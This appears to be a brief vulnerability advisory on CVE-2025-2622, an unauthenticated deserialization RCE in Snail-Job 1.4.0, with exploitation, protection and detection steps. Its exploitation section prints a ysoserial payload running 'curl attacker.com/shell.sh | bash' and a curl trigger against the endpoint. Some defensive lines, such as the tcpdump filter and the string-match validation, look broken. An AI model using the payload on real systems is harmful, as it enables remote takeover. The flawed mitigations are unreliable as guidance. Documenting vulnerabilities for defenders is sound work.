How CVE-2025-2622 Works
The vulnerability exists in the `getRuntime` function within Snail-Job 1.4.0’s Workflow-Task Management Module. Attackers can exploit insecure deserialization in the `nodeExpression` parameter, allowing remote code execution (RCE) due to improper input validation. By crafting a malicious serialized object and sending it via the `/snail-job/workflow/check-node-expression` endpoint, an attacker gains arbitrary code execution under the application’s context. The exploit leverages default Java deserialization gadgets, enabling command injection without authentication.
DailyCVE Form
Platform: Snail-Job
Version: 1.4.0
Vulnerability: RCE via Deserialization
Severity: Critical
Date: 03/26/2025
What Undercode Say:
Exploitation
1. Payload Crafting:
ysoserial -g CommonsCollections5 'curl attacker.com/shell.sh | bash' > payload.bin
2. Exploit Trigger:
curl -X POST http://target/snail-job/workflow/check-node-expression --data @payload.bin
Protection
1. Patch: Upgrade to Snail-Job 1.4.1+.
2. Mitigation:
location /snail-job/workflow/ { deny all; }
3. Input Validation:
if (nodeExpression.contains("java.io.Serializable")) { throw new SecurityException(); }
Detection
1. Log Analysis:
grep -r "Runtime.getRuntime()" /var/log/snail-job
2. Network Monitoring:
tcpdump -i eth0 'port 80 and tcp[bash] = 0x504f' -w deserialization.pcap
